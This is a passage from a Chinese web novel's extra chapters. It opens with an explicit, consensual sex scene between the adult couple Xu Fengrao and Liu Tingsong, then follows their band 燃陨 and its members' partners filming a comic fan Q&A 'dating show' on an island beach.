许风扰眨了眨眼,更加不解,打心眼裏觉得自己很乖,和圈子裏的那些人不一样,就连燃陨几人偶尔叫她出去喝酒,她都立马拒绝,一回到酒店就和柳听颂开视频,哪有什么机会犯错 可柳听颂也不是会乱冤枉人的人。 许风扰眉头一皱,不禁翻来覆去地想。 因拉扯的缘故,许风扰被迫仰头抬高,又被柳听颂压着,完全处于下位者的姿态,即便皱眉也显得可怜,同时呼吸也受阻,便忍不住微微喘气,胸膛起伏,越发狼狈。 手中链子再扯,又绕了一圈在指间,许风扰被迫跟着靠近。 “妈妈……” 银链像是指环,一圈圈绕一圈圈束缚,将许风扰牢牢扣在掌心,逃无可逃,也不想逃。 许是这样乖驯的姿态取悦了柳听颂,她突然笑了下,低头咬住许风扰脖颈。 许风扰骤然绷紧,这样亲昵的举动往日不是没有,可直觉却叫嚷着不对,像是、像是柳听颂想要对她做什么一样。 下意识想逃后,又被链子拽住,尖锐牙齿碾磨在大动脉周围,留下尖锐的疼。 已完全说不出话来,只能发出挣扎的呜声。 可那人还在继续,学着许风扰往日模样,有点生涩地触碰,从脖颈到圆润耳垂,再轻轻含住。 虽然从来没有争过这些,但往日的试探与触碰,让柳听颂十分清楚对方的敏///感点在哪裏。 脖颈。 耳朵。 靠近肩头的锁骨。 每一次触碰都会让小狗感到愉悦,像某种鼓励似的,越发卖力,如今也变成了柳听颂拿捏她的手段。 呼吸更重,莫名酥麻感受在一个个吻中泛滥开,像是掉入满是细小电流的网裏,全身上下都无法避免战栗。 衣衫被拉扯,温凉指尖顺着马甲线攀延而上。 往日的支配者完全被对方掌控。 那人用气音呢喃,带着几分气恼地斥着:“坏东西。” “混蛋。” “沾花惹草的笨狗。” 到底气了多久。 即便是在这种情况下,许风扰也忍不住分神思考,自己到底做了什么,让柳听颂那么委屈。 咬痕、吻痕斑驳点缀,随着呼吸颤抖,即便在小麦肤色下,也显得格外清晰,不消照镜子,许风扰也知道自己这几天都不能出门了。 舌尖还依旧被拉扯,其实一开始就觉得不对,可还是无法拒绝柳听颂,老老实实往她的陷阱裏跳。 “坏东西。” “狗东西。” 柳听颂还在斥骂,让许风扰很是无奈,想来想去也不知道自己有什么过错,没有束缚的双手,明明很轻易就可以将人制服,却还停留在对方腰间,她都那么乖巧了,还一直被骂,而柳听颂甚至连个原因都没给她。 吻还在往下落,散落的发尾扫过锁骨,柳听颂咬住她肩头,又喊:“混蛋东西。” 再好脾气的小狗,如今也忍不住恼火,掐了掐柳听颂的腰表示不满。 可那人却越发咬紧,还扯了扯舌钉。 许风扰不禁嘶了声。 “狗东西。” 许风扰只能用眼神控诉。 衣服落在地上,半合的窗帘还未来得及拉上,映出城市的轮廓,在高楼间,扑翅的鸟儿熟练穿梭,让人流随着红绿灯的转换而走走停停。 手中的链子松了些,让许风扰终于能够开口,问出那个让人困惑不已的问题。 “我到底怎么坏了?” 问话没有答案,只有越来越往下的动作,长发垂落又被不耐烦勾在耳后,紧致劲瘦的腰腹随着紧张呼吸微微凹陷。 “我做了什么,惹你生气了” “妈妈?” “柳听颂” 反复的提问,却依旧没有回答。 许风扰眉头一皱,稍稍挺腰。 身上那位还没有反应过来就被颠了下,手中的链子也一晃。 “柳听颂,我做错什么了?”她又问,好像被反是件无足轻重的事情,柳听颂到底为什么生气才是头等大事。 可那人不答,俯身要吻,许风扰便再挺腰。 就是在故意使坏,索要一个答案。 柳听颂不理她,她就继续故技重施,手中的银链还在晃,勾着舌尖继续往外探,那银环早就被水浸透。 像在骑马,又一点也不像。 柳听颂垂眼看着对方,那过分精致的面容张扬又得意,碧水眼眸全是挑衅,就连垂落在额间的白发都变得可恶起来。 柳听颂忍不住一扯,可之前用惯的惩罚已无原本的作用,反倒像是她指挥许风扰挺腰。 因之前动作,柳听颂已坐在腰腹之下的位置,如今刚好就被顶住,随着这人动作而起伏…… “许风扰,”她终于意识到不对,想要阻拦,可那人却不停,又是一抬,冲柳听颂挑了挑眉,恶劣的过分。 柳听颂腰一软,差点就摔进那坏狗怀裏,强撑着斥道:“你别、不许。” 银链还在晃,不见一点停歇,明明是处于下位、完全被掌握的那一位,如今却抢回了主动权。 “妈妈” “气什么,嗯?”她问,腰腹线条在不断动作中,更加清晰,连同那些残留水迹、吻痕,一并展示向身上人。 “妈妈?” 应是示弱的称呼却嚣张。 “你闭嘴。” 而本该很有底气的话语却显得无力。 “柳听颂,你在气什么?”询问变了味,像是命令。 “滚开,”柳听颂咬住下唇。 许风扰就用这种以下望上的姿态,又是一抬腰,迫使柳听颂回应,强压住的喘息还是从唇间洩出,手压向腰腹,试图稳住自己,却将自己留下的痕迹给抹去。 “柳听颂。” “回答我。” 指尖烫得惊人,在时有时无的腹肌轮廓中烙出或深或浅的花瓣,睡裙不知何时染上深色痕迹,手裏的链子还在晃。 最后还是不耐,手腕被扣住,拽回链子,只听见很细微的一声,链子被取下,捆在柳听颂手腕,姿势调换,之前被压住的人,如今居高临下俯视着对方。 “气什么?” 柳听颂偏过头不理她,眼尾不知何时泛起代表欲///念的绯色,双手被压在头顶,不知是以为之前的动作,还是被气到了,呼吸急促带起起伏,衣裙也随之往下落,无意识的撩拨。 许风扰就笑,说:“机会已经给过你了,柳听颂。” “是你不争气。” 不知是在指哪一个,是柳听颂未完成的事情,还是许风扰多次提问却没有回答的问题。 灯光被调暗,睡裙被掀往上,柳听颂之前做过的事情,现在又被许风扰用在柳听颂身上。 晚风吹起帘子,不知何时,夜色已深,之前熙熙攘攘的人群也散去,热闹的地方只剩下酒吧。 觥筹交错间,那些平常无法开口的真心话,终于可以说出,可倾听的人却不是心裏想的人。 街边的小贩翻着烤串,不关心那些人到底有什么样的爱恨情仇,只管他们会不会买一把自己的烤串,或者是他脚下,临近过期的打折啤酒。 树叶落在地上,又被吹起,那一轮弯月终于露出真容。 柳听颂余光窥见,来不及欣赏便又被其他感受拉扯。 “许风扰!” 急促而震惊的声音想起又戛然止住,那环终于扣在了许风扰想要的位置,银球碾压,圆环拉扯,轻轻一动就掀起巨大波澜。 试图逃避的腿曲折躲闪,最后又夹紧另一人脑袋,腰腹发颤,喘///息声断断续续。 无法形容的感受,那仔细挑选的物件,现在全部用在柳听颂自个身上,清晰感受。 许风扰埋头咬住,脸颊沾染了好些水,只得胡乱抹在两边,还没干净片刻,又染上许多,连薄唇都覆上一层水光,红得艳丽。 被留在客厅的三斤突然抬了抬脑袋,三角耳朵动了动,好像在仔细倾听裏头的动静,不过很快,它就百无聊赖趴下,相似的碧水眼眸写满了习以为常的平静。 月色依旧,灰雾淡去后,那弯弯的轮廓越发清晰,远处山间的轮廓同样,起起伏伏。 偌大的钢铁城市已有半边陷入沉睡,被漆黑笼罩吞噬。 那些酒馆也慢慢变得冷清,残留的琥珀色汁液顺着杯壁滑落。 “不要……” 沙哑的声音带起哭腔,许风扰反复询问的问题,终于有人愿意给出答案,可许风扰却没空听,还故意压着对方的腿给自己的耳朵蒙住,像个刚刚寻到有趣游戏的小孩,拒绝听妈妈的唠叨。 捆在手腕的链子勒出红色印子,却始终无法争夺,如同她往后缩、试图逃避的动作,刚刚往后一点,就被人拽住脚踝,直接拖回,没有丝毫反抗的余地。 今晚还在继续,不会那么轻易就停下,忙忙碌碌半年没怎么见面的情侣,总有好多事要做、好多话要说,不过在此之前,还得先把许风扰喂饱。 床单被浸透,枕角也被咬住,那些含糊的斥骂变得越来越微弱,最后只剩下低弱的哭腔在央求。 夜色更浓,好像下起雨来,淅淅沥沥地生出白雾,将整个城市都笼罩。 那些酒醉后的真心话都被雨水冲刷,连同落叶一并驱赶向下水道中。 雨声更大,而后有轰隆隆的雷电声接连响起,灯光随之暗淡、熄灭,整个城市都掉入漆黑雨夜裏。 也在此刻,许风扰终于得知柳听颂在生什么气,哭笑不得地认了半天错,甚至还发个誓,保证以后再不做这样的事情,这才让柳听颂抽噎着点头,彻底昏睡过去。 ———————— 姐姐:这不是我想要的结果 第100章 番外八:恋综上 摇晃镜头被固定在三脚架上,人还没有来得及仔细查看,就有一个毛茸茸的猫脑袋探出,好奇打量着镜片裏头的世界。 “祖宗。” 有人慌张喊了声,又急又不敢发脾气,气沉丹田,双手用力一抱,努力将大猫抱起,沉闷冒出一句:“你可别来捣蛋,一边抓鱼去。” 胖猫被抱去另一边,这时才能瞧见那人面容,毛躁的长发依旧,一米八个子杵在那儿,明明应该是很有威慑力的感觉,可开口却大大咧咧,带着股憨憨的感觉:“这玩意开了吗?” 等在旁边的人不耐烦,一手推开楚澄,弯腰就看过来,锁骨处的蝴蝶纹身明显,随着说话时的颤动而扇起翅膀。 “这不是开了吗,在录了。” “那我喊她们过来。” 随着一声声喊声,况野、楚澄两人同时往后退,露出所有人的面容,随着321的倒数,屏幕中赫然出现一行字。 燃陨乐队恋爱综艺启动! 弹幕纷纷涌现,坐在电脑前的小曾抓过旁边水瓶,咕噜咕噜就是几口,可冰水压不住脸上的激动,迫不及待就往下看。 自从燃陨乐队一个接着一个官宣恋爱后,V博评论就炸开了花。 不管是早早结婚生女的纪鹿南、突然官宣的况野、自爆苦追对象许久的楚澄,还有一度占据V博热搜,让其瘫痪一下午的许风扰与柳听颂恋情,都让粉丝好奇不已,不仅在各平臺上连连追问,甚至连演出间隙都不放过。 但燃陨四人每次一回答这些问题,其他队友就在旁边插科打诨,互相打趣,以至于粉丝问来问去,竟什么也没问出来。 这可犯了众怒,不知谁先想出的主意,要燃陨队友集体录个恋综,继而粉丝纷纷应和,闹了大半年还不肯停。 而燃陨几人起初不愿,觉得莫名其妙的,明明是搞乐队的怎么拍起恋综来,可后面还是拗不过粉丝,小瞧了这些事引发的一连串影响。 这事热度不低,便惹得记者接连追拍逼问,就连那些关系稍近的圈内人也被波及,甚至有狗仔纷纷蹲守在楼下,更别说那些营销号的瞎编视频,不知冒出多少个假故事。 故而,几人商量下,堵不如疏,越瞒着,大家越好奇,索性趁着一年一度的燃陨聚会,拍了个极简陋的“恋综”。 【哎,这是什么地方,还有白沙滩和大海,看起来风景很不错啊】 【橙子好像在直播时候说过,她们找了个风景很好的小岛聚会】 【火堆这几人不会要自己烤东西吧】 在杂乱弹幕中,裏头的人已各自坐下,一时没经验,一对对坐在草席上,你看看我我看看你,面面相觑不知从何开始,最后个个笑起。 “你们好像个傻子,”楚澄揽着对象,先一步发起攻击。 “傻子说谁?”纪鹿南眼皮一抬,顺带还丢了石头过去,警告道:“昭昭还在呢。” 她又低下头,教导:“昭昭不要和笨蛋橘子学,乱骂人是不对的。” 完全忘记了自己之前的反驳。 昭昭穿着碎花裙,短短一年又被家裏人喂胖不少,那露出的小臂像白藕似的,一截一截的,哼哼就道:“知道了知道了。” 说话间就挣脱母亲怀抱,向许风扰伸出双臂,奶声奶气就道:“姨姨抱。” 也不知是为何,昭昭最粘许风扰,连时常给她买礼物的柳听颂都比不过。 许风扰熟练将小孩抱起,往腿上一放,就哄:“粘人精。” 另一边的柳听颂眼尾带笑,帮忙拍了拍小孩手上的沙子,温声道:“昭昭刚刚抓到小螃蟹没有?” “没有,我让猫猫帮我抓,猫猫不帮我,”昭昭鼓着个脸告状。 在柳听颂、许风扰小腿中间趴着的缅因甩了甩尾巴,不和小心眼的臭小孩计较。 “昭昭要不要吃点东西,肚肚饿了吗?”乔笙在此刻开口。 况野没说话,只是默默将剥好的橘子递过去,一半给昭昭,一半放到乔笙手中。 乔笙似笑非笑瞥了对方一眼,也不说话,将一瓣橘子塞进况野嘴裏,指尖有意无意擦过况野的唇,惹得这人心虚,快速扫了眼旁边,继而才咬住橘瓣。 离得最近的楚澄没瞧见这一幕,双手一拍就冲着昭昭就喊:“乖宝来我这裏,橘子姨姨给你烤鱿鱼吃。” 她旁边的女孩文静,只靠在楚澄肩头,对着这边笑。 “不要不要,”昭昭一面摇头拒绝,一面将许风扰抱得更紧,后面可能是怕伤了楚澄的心,又说:“昭昭等一下再去找橘子姨姨,现在要先陪阿风姨姨。” “哟,你倒是挺会雨露均沾的,”楚澄发酸。 “小舟知道你那么能吃醋吗?”许风扰眼皮一抬,不轻不重地回了句。 小舟是楚澄对象,本名叶初舟。 “咋了,我就能吃,我山西人不行吗?!” “出息。” 笑闹间,摄像已被遗忘,几人终于恢复成以往模样,不知是谁先取来东西,便齐刷刷往烤架靠近,熟练翻起各类食材。 因是找了其他人帮忙准备,所以早就腌制、穿串好,食材很是丰富,除了鱼类,其余都有。 虽然许风扰早就说过,她已在慢慢适应这些东西,但燃陨几人还是默契避开,连这海岛,都是许风扰主动提出、计划的。 火光中,滋啦滋啦的油脂声不断响起,香味也随之涌出。 弹幕纷纷喊着饿,屏幕外的小曾咽了咽口水,随手拿起水瓶,却发现不知何时已经喝完,愤愤往旁边垃圾桶一丢,咬牙将进度条往后拉了点,才刚吃完饭,她才不要现在就点外卖! “好了好了,吃饱没有,现在是问答环节了。” 楚澄大大咧咧的声音又响起,左看看右看看,终于在女朋友的提示下,找到被丢在一边的手机。 “我看看啊,咱们粉丝都想问啥问题。” 在拍摄之前,燃陨乐队就专门发了条提问V博,让粉丝发出自己想知道的问题,她们会随机挑选、回答。 看到这裏,小曾不由直了直腰,眼神越发专注,她那条评论的点赞可不少,很有机会被选中。 “咳咳咳,第一条!”楚澄站在火堆前,见没有人理她,又忙催促道:“快点快点别吃了。” “我先问第一条!哎,这是问阿风你们两的。” 被点到的两人随之看向镜头,像是刻意搭配过,柳听颂身穿白裙,许风扰将白衬衫当做外套,即便是在烧烤,两人的手也十指紧扣着,不曾松开一点。 “问吧,”许风扰不耐烦地催促。 “咱们是不是忘了介绍了,”纪鹿南冷不丁开口。 众人这才恍然,连连点头:“哦对,介绍。” 视线又回到许风扰两人。 许风扰表情无奈,认命般对着镜头道:“大家好,我是燃陨乐队的主唱兼贝斯手,许风扰。” 明明另一只手还空着,她却故意举起与柳听颂十指紧扣的手,冲着镜头摇了摇,指间的戒指晃眼,不知明裏暗裏秀了多少次。 “噫!”其余的人嫌弃,就昭昭不懂,还拍着手笑。 火光柔和了柳听颂眉眼,泛起浅淡笑意,轻声就道:“大家好,我是许风扰的未婚妻。” 连姓名都不曾提起,重点只在最后一句话。 其余人不敢像对许风扰一样,对待柳听颂,你看看我我看看你,然后…… “妈耶,刚刚谁在烧烤裏加柠檬了,我牙怎么那么酸!”楚澄开始装憨。 “我也觉得,可能是牛肉吧?”况野赞同。 “我就说不能让山西人烤肉吧,”纪鹿南一连拽两。 昭昭还听不懂这些,眨了眨大眼睛,懵懵道:“哪裏酸啊……” 众人都大笑。 连歪了一下的弹幕都全部是哈哈哈哈。 楚澄笑得不行,还得强撑着念问题:“第一个、第一个问题是你们打算什么时候结婚?” 许风扰勉强收敛笑意,对这个问题很是重视,语气微沉道:“可能会在明年夏天?” 她话还没有说完就冒出一片嘘声。 “得了吧你两,这个婚礼一拖再拖,去年就说夏天,今年还是夏天,到底是什么时候?” “现在都是秋天了,你该不会明年也不行吧?” “一个婚礼而已,磨磨蹭蹭的!” 纪鹿南三人接连开骂。 许风扰讪笑,不好反驳,只能心虚道:“也不是我拖,刚开始是我巡演、她要出专辑,后面咱们又要搞专辑,她也忙。” “而且我们两还没决定好在哪裏结婚……” 对面几人不解:“这有什么不好决定的?” 楚澄开始出谋划策:“草地蓝天?找片能看见雪山的地方。” “教堂我记得轻焰朋友租了个古堡结婚,裏头有一个大教堂,挺好看的。” 况野也举手:“我们搞个摩托车车队。” 许风扰摇头,一一否定。 “雪山也太常见了吧。” “古堡?你朋友都结过了。” “车队还行,可以考虑吧……” 瞧她这幅模样,就知道问题出在哪裏。 柳听颂眉眼无奈却温柔,只看了许风扰一眼。 “你要多独一无二?去雪山上结婚得了,”楚澄开始挠头。 许风扰居然认真思考了下,然后才拒绝道:“那多冷啊,穿不了婚纱。” 纪鹿南又气又好笑,说:“要不搞个中式婚礼?我给你找个大四合院。” 许风扰面带犹豫,纠结开口:“是不是有点太常见了?我看见好多人都……” 连乔笙都看不下去了,主动开口道:“海岛怎么样?感觉这裏就很不错。” 许风扰顿时咳嗽几声,十分心虚道:“我考虑过了……” 大家顿时一激灵,齐刷刷看向她。 “还是没有很合适……”许风扰默默低头,又嘀咕:“不然怎么会带你们过来玩。” 纪鹿南翻了个白眼。 况野扯了扯嘴角。 楚澄的嫌弃不加掩饰。 许风扰看看这个又看看那个,讪讪道:“结婚多重要啊,我不得选个最好的地方。” “所以挑来挑去,拖到现在,”纪鹿南冷笑。 “也亏嫂子惯着你,要是别人早跑了,”楚澄忍不住冒出这话。 许风扰哼哼两声却没底气反驳,偏头蹭了蹭旁边的人。 柳听颂就笑,纵容得很,完全由着许风扰一拖再拖,一点也不生气,甚至在此刻也只是抬手,揉了揉许风扰脑袋,温声哄道:“慢慢来就好,又不是很着急。” 许风扰又哼哼,眼帘一掀,又往旁边一扫,眼底的得意明显,气得楚澄三人差点站起揍她,又在柳听颂抬眼间,悻悻坐下。 当事人都不急,她们催那么多做什么?! 楚澄实在受不了,当即就道:“下一个问题下一个问题。” “哦、还是你两的,”楚澄撇了撇嘴,补充道:“等会就换人,不给你两一直秀。” 正当此时,底下的缅因已吃完小盘裏的虾,喵喵叫着跳上许风扰的腿。 玩饱吃足后就犯困了,嫌弃沙滩粘毛,在许风扰大腿蜷缩成一团,甩了甩尾巴就要睡觉。 许风扰显然已经习惯,不仅不拦着,还像哄小孩似的伸手拍拍。 而柳听颂微微皱眉,低声就道:“会不会太重了?让工作人员帮忙拿它的猫窝过来?” “还行,”许风扰扯了扯相牵的手,低声又问:“你累不累,靠着我休息一会?” “不累,”柳听颂先是回答,而后又说:“你要是累了,把它挪我腿上。” 两人低声私语,虽是日常对话,却莫名甜腻,完全将其他人隔绝在外。 弹幕也纷纷刷起。 【甜死了,她俩怎么做到在一起那么久还那么黏糊】 【受不了,我去打点胰岛素再回来,从第一秒到现在,这两人的手就没松开过,那腿也贴在一块,但凡柳听颂裙子往上一点,许风扰就要往下拉,霸道得不行】 【有谁注意到了!许小狗说话的时候,柳听颂就一直偏头看她,那么久了,愣是没几个正脸镜头】 【许风扰也没差好吗,那烧烤就没让老婆动过手,柳听颂的手一抬,她就颠颠夹过来,中间还能给她们的大肥猫剥几只虾,顺带一提,她们是怎么把一只小猫养成一辆大卡车的,刚刚看见的时候,吓我一跳】 【缅因本来就很大吧……只不过她俩这猫格外大……】 弹幕流动间,楚澄已将问题念出:“粉丝想知道,你们两人平常都是怎么称呼对方的,最喜欢对方叫自己什么。” 她补充了句:“每一个称呼都要说哦,不能只说一两个。” 明明是很稀松平常的问题,楚澄瞧见的时候,一点也没想着避开,可许风扰、柳听颂却同时僵硬住。 “一定、一定要回答吗?” 不知是不是面前火光的缘故,许风扰的耳垂红得滴血,努力强撑着镇定。 柳听颂撩了撩垂落的发,抿唇不语。 楚澄不解,还在催促:“那么简单的问题,有什么不能回答的,快点快点。” 许风扰欲言又止,好一会才咬牙开口。 ———————— [墨镜]为什么不敢回答呢,为什么呢 染红毛去咯!《 》 第101章【VIP】 第101章 番外九:综艺下 “姐姐吧……” 许风扰低下头,红透的耳垂没有一丝缓和,反倒越来越浓,甚至往脸颊、脖颈散开。 周围的人都迷茫,明明就是个普通称呼,有什么好害羞的 楚澄拧着眉头,不由嫌弃地催促:“快点快点,是全部,怎么才一个。” “柳听颂……”许风扰试图含糊过去。 “还有呢” “她喜欢叫我宝宝,”许风扰语速极快,谁也没想到外头桀骜不羁的家伙,在家裏竟是…… 短暂沉默过后,先是楚澄憋不住的“噗”一声,继而众人纷纷哈哈大笑。 “宝宝” “宝宝!” “啧啧啧,”一群人哪裏见过许风扰如此窘迫的模样,一个比一个笑得猖狂。 许风扰没办法反驳,还有更多没说,现在根本没底气说其他。 旁边的柳听颂也不自然,手抚过三斤耳朵,好像在叫它别听。 楚澄笑得不行,好不容易欺负许风扰一次,一点也不肯放过,连忙道:“还有呢还有呢,别像挤牙膏似的,问一句说一句,你是不是1啊” 这句话可把许风扰激到了,脑袋一抬就反驳:“你才是零,你天天被小舟压。” “哟,恼羞成怒了,”楚澄现在可一点不入套,表情的欠欠:“快点快点,别磨蹭,还要问别人呢。” 许风扰咬着牙,声音从牙缝裏挤出。 几人没听清,嚷嚷道:“什么啊大声点,你大声点。” 屏幕前的小曾也好奇不已,从来没见过许风扰露出这样的表情,难不成还有什么称呼比宝宝还难为情 她忍不住将音量放到最大,于是终于听到字正腔圆的“妈妈”,余音在狭小房间裏环绕,屏幕的光亮映在小曾瞪大的眼眸中。 而弹幕已经变成: 【妈妈妈妈!】 【妈妈妈妈妈妈妈妈妈妈妈】 【妈妈妈妈妈妈妈,小狗喊妈妈妈妈妈妈】 【哈哈哈哈哈,妈妈妈妈妈,谁来救救我,这一对玩那么花吗,许风扰都被调成什么样了】 【哈哈哈哈哈,许风扰你别躲啊,喊完就往妈妈怀裏躲,害羞什么啊】 【许风扰这个耳朵完全红透了,我的老天奶,柳姐私底下吃那么好】 【快看听颂姐,她耳朵也红了,哈哈哈哈哈,还得强撑镇定拍拍小狗】 【妈妈拍我妈妈怕我,我也可以喊妈妈】 小曾还没有反应过来,那楚澄的声音又从屏幕中传出:“那嫂子最喜欢叫许风扰什么呢?” 开到最大的音量,没有半点调回去的机会,小曾忍不住探声过去,继而就听到一声清润柔婉的声音响起。 “宝宝。” 后面一声略低,只道:“坏狗。” 小曾怔了下,下意识摸向旁边的水瓶,却抓了个空,这才想起自己早就喝完,丢进旁边垃圾桶裏,而自己的脸莫名也烫起。 而屏幕中的弹幕更加疯狂。 【啊啊啊啊啊,妈妈踩我踩我,我才是坏狗我才是】 【汪汪汪汪汪汪,妈妈你的坏小狗在这裏】 【妈妈别摸她,摸我摸我】 【妈妈~】 屏幕裏的人已笑成一团,尤其是楚澄,嚷嚷着要给许风扰买项圈。 许风扰不语,只是一味地往柳听颂怀裏躲,私底下怎么喊都好,可要摆在明面上…… 柳听颂也低着头,发丝垂落间,那耳垂比许风扰的还红。 最要命的还是昭昭的疑惑,稚嫩的天真语气,迷茫问道:“妈妈,阿风姨姨为什么叫听颂姨姨妈妈,阿风姨姨是听颂姨姨生的吗?” “那三斤也是听颂姨姨生的吗?” “阿风姨姨是小狗,三斤是小猫。” 昭昭突然眼睛一亮,兴冲冲就道:“那三斤以后也会变成人吗!” 许风扰、柳听颂:…… 众人哄笑而起,纪鹿南试图给女儿解释,却笑得颤抖,愣是说不出一句话。 最后把许风扰笑急眼了,低头抓了把沙子,每个人都挨了下。 小曾也笑得不行,在几人打打闹闹间,突然想到什么,立马打开手机,点开V博。 不出意料,许风扰喊妈妈的词条赫然出现于热搜之上,视频截屏、切片到处都是,满屏的许风扰喊妈妈,就连情侣头像都出来了,左边一个柳听颂喊坏狗,右边一个许风扰喊妈妈,字体都是加粗加重的。 最最最可恶的是,几分钟后,楚澄就顶着许风扰喊妈妈的头像上线了,一句话不说,立马就发了条V博。 【妈妈~】 而况野顶着柳听颂喊坏狗的头像,在评论区回应。 【坏狗~】 评论底下全是哈哈哈哈哈,短短片刻就有万赞。 小曾笑得直锤桌面,立马给她两人点了个赞。 这事也是无奈,要是燃陨其他人回答,还不一定达到这种效果,毕竟况野一看就玩得花,纪鹿南两人合法妻妻搞点花活也正常。 楚澄 这家伙嘴上花花就没停过,别说喊妈妈,就算是再说出别的称呼,大家也不觉得奇怪,只会脑补她欠欠的声音,吊儿郎当的将这些称呼说出。 可许风扰和柳听颂呢,前者桀骜主唱,连记者狗仔都不敢正面逼问她,后者高岭之花,往日清清冷冷的,也没比许风扰好到哪裏去,甚至许风扰都比她好哄点,不然也不会大家好奇那么久,却一点东西都没能挖出来。 今儿即便不是这些称呼,就算是寻常小事,也能让粉丝惊喜,出现在热搜中,更何况是这样。 弹幕疯狂了好一阵,而后才见气急败坏的许风扰站起来,抢楚澄的手机,开始提问别人。 只见红着脸的许风扰,气势汹汹地喊:“第三个问题! “昭昭那两个妈!别笑了!快点回答问题!” 几个人笑了半天,怕真把许风扰惹急了,勉强收敛了下,努力板着个脸看向镜头,可笑意还是洩出。 “大家、大家好,我是纪鹿南,燃陨的键盘手。” 旁边的女人含笑颔首:“楚轻焰,纪鹿南的妻子,楚昭昭的妈妈。” 她两并未像前面那一对那么黏糊,一人身穿简单短袖,一人防晒衣,举手投足都透着长时间磨合的亲昵熟悉。 昭昭往纪鹿南腿上爬,这人就故意抬腿,楚轻焰不仅不拦,还笑着拱火,但两人都默契抬手,围成一个圈,时刻护着小孩,以防跌倒。 而在此刻,弹幕在科普纪鹿南和楚轻焰的身份,家族背景极深厚,让大家不禁感慨昭昭这小孩真是幸运。 “这个问题……”那边的许风扰略微卡词,表情多了几分犹豫。 “你只管问就是,没什么问题比前一个问题尺度更大了,”纪鹿南还在笑。 许风扰憋着口气,只能念道:“粉丝想知道,之前你和嫂子是家族联姻吗?如果是,你们曾经反抗过吗?又怎么互相喜欢上的” 纪鹿南刚结婚时也是个爱秀的,这两年才略微消停,所以粉丝对她们的情况也有所了解。 听到许风扰念完,纪鹿南哎哟一声,就道:“我们的问题怎么那么多” “算自由恋爱!”纪鹿南撇了撇嘴,嘴硬道:“我才不愿意接受那些老东西的安排。” “妈妈不准说外婆奶奶坏话!”昭昭突然气鼓鼓开口。 纪鹿南又气又好笑,捏了下昭昭鼻子,又道:“你个小没良心的。” 楚轻焰笑得妩媚,帮忙补充:“其实是我先喜欢上鹿南,只是她不知道,还以为是家裏长辈安排。” “谁让你什么都不说,还让我大晚上翻墙离家出走,”纪鹿南咬着牙。 “我怎么和你说?我们的纪大小姐,”她故意拖着调,声音虽媚却泛着酸:“多少莺莺燕燕绕在你身边,我哪裏挤得进去啊。” 这熟悉语气,让纪鹿南顿时一激灵,连忙陪笑道:“不是说好以后都不提这些了吗,老婆。” “我错了老婆。” 其他人才不会放过这个机会。 许风扰先一步冷笑:“妻管严。” 楚澄连忙补上:“妻管严。” 况野冷飕飕重复:“妻管严。” 纪鹿南扯了扯嘴角,但心裏明白此刻不是反驳的时候,连忙道:“我当时不知道结婚对象是她,就离家出走和她们几个搞乐队去了,幸好轻焰没有放弃,一直在找我。” “所以我们也算自由恋爱,是相互喜欢之后才结婚的。” 许风扰挑了挑眉,眼睛一扫又问:“那你们谁是1” “废话!那当然是我!”纪鹿南立马炸毛,可视线往旁边一瞥,又心虚补充:“也不算特别1,0.7吧……” 楚轻焰捂住女儿耳朵,似笑非笑。 纪鹿南又快速改口:“0.6、0.6!” “真的不能再少了!” 这种事也被她喊出了砍价的感觉。 那几个人就笑。 “哟,原来是躺0啊~” “不是说好咱们乐队不出零的吗?怎么有人偷偷躺啊~” 楚澄学着纪鹿南的话,阴阳怪气:“0.6、0.6。” 这下好了,窘迫的人从许风扰换到纪鹿南,急得那人连声道:“下一个下一个了。” “快点问她们!” 许风扰笑了一会,正了正脸色后看向屏幕,道:“接下来是橙子。” 那人一点不担忧,还嘚瑟整理了下衣领。 旁边叶初舟翻了个白眼,拍了下她的手。 两人有着股欢喜冤家的感觉。 “问吧问吧,”楚澄还催促。 许风扰一脸无奈,提醒道:“自我介绍啊姐。” “哦哦哦,”楚澄这次想起来,看向屏幕就说:“大家好,我是燃陨乐队的吉他手,楚澄,大家都叫我橙子,昭昭叫我橘子姨姨。” 说完这些还不够,她抬手抱住旁边的人,又咧开嘴笑道:“这是我女朋友,鲨鱼乐队的鼓手叶初舟,大家有时间可以去看看她们的演出,她真的非常优秀。” 像个大型犬似的,尾巴摇个不停。 叶初舟看着嫌弃,实际却偷偷牵住楚澄的手,只对着镜头,说:“大家好,我是橙子女朋友。” 许风扰笑了下,帮忙夸赞道:“小舟确实是个非常优秀的鼓手,她们乐队目前发行的几首歌,我们都听过。” 纪鹿南和况野也接上,表示鲨鱼乐队和燃陨乐队后面也会有合作。 这些可不只是因为楚澄,大家也很认可叶初舟乐队的能力,乐于帮她们一把。 叶初舟感激一笑。 “你们的问题是,哎,”许风扰眨了眨眼,突然就说:“这个问题如果回答不出来的话,我们可以换一个。” 这可是今天第一次,大家不禁露出好奇神色。 许风扰看了眼柳听颂,那恶劣的小心思瞒得住别人,但瞒不住柳听颂,那人就轻轻柔柔笑起,眼眸中倒映着许风扰的模样。 “这个问题就是……” “众所周知,橙子你和小舟的身高差是比较大,那方面、嗯,怎么样,就是不会很不和谐……” 这话一落,小曾差点跳起来,这就是她提问的问题! 还担心楚澄觉得尺度太大不肯问,这下好了,换成许风扰提问了! 再看屏幕裏,楚澄和叶初舟坐在一块,一个一米八的大狮子,一个一米五左右,小小一只,十分可爱的模样,反差极大,难怪粉丝会这样好奇。 而刚刚还嚣张得不行的楚澄,现在终于脸红,结结巴巴道:“和、和谐吧。” 她语气生硬:“我觉得挺好的。” 叶初舟没有说话,只是默默松开了楚澄的手,往旁边一挪。 许风扰才不肯就这样放过,登时开口道:“小舟你觉得呢?” “还、还行,”那人红着脸磕磕绊绊。 楚澄反倒在这个时候较起劲来,突然冒出一句:“还行是什么意思,你不满意” 她摇着个大毛尾巴,对着叶初舟就道:“不行?你明明很满意、很喜欢……” 话还没有说完,就见叶初舟突然抬手,对着楚澄一推,看着小小一只的女孩,竟一下子把楚澄推倒,一屁股就摔在地上。 “你……哎哟,”楚澄眼睛一瞪,刚准备委屈又挨一脚。 况野、纪鹿南、许风扰倒吸一口凉气。 分明这位才是真正的妻管严。 看楚澄被打得哎哟哎哟的,许风扰连忙一转镜头,对着况野她们就喊:“到你们了到你们了。” 别说她不照顾楚澄,接下来的问题也没好到哪裏去,为了楚澄不再挨打,她已经很仁至义尽了。 “大家好,我是燃陨乐队的况野。” 这话刚落,燃陨其余三人就异口同声开口:“我们是!” 况野也突然接上。 众人齐刷刷就喊:“燃陨乐队!” 话音落下,大家就笑成一团,多年的默契就是这样,大家都介绍完了就得补一句燃陨乐队。 许是被这样的范围感染,弹幕也变成层层迭迭的燃陨乐队。 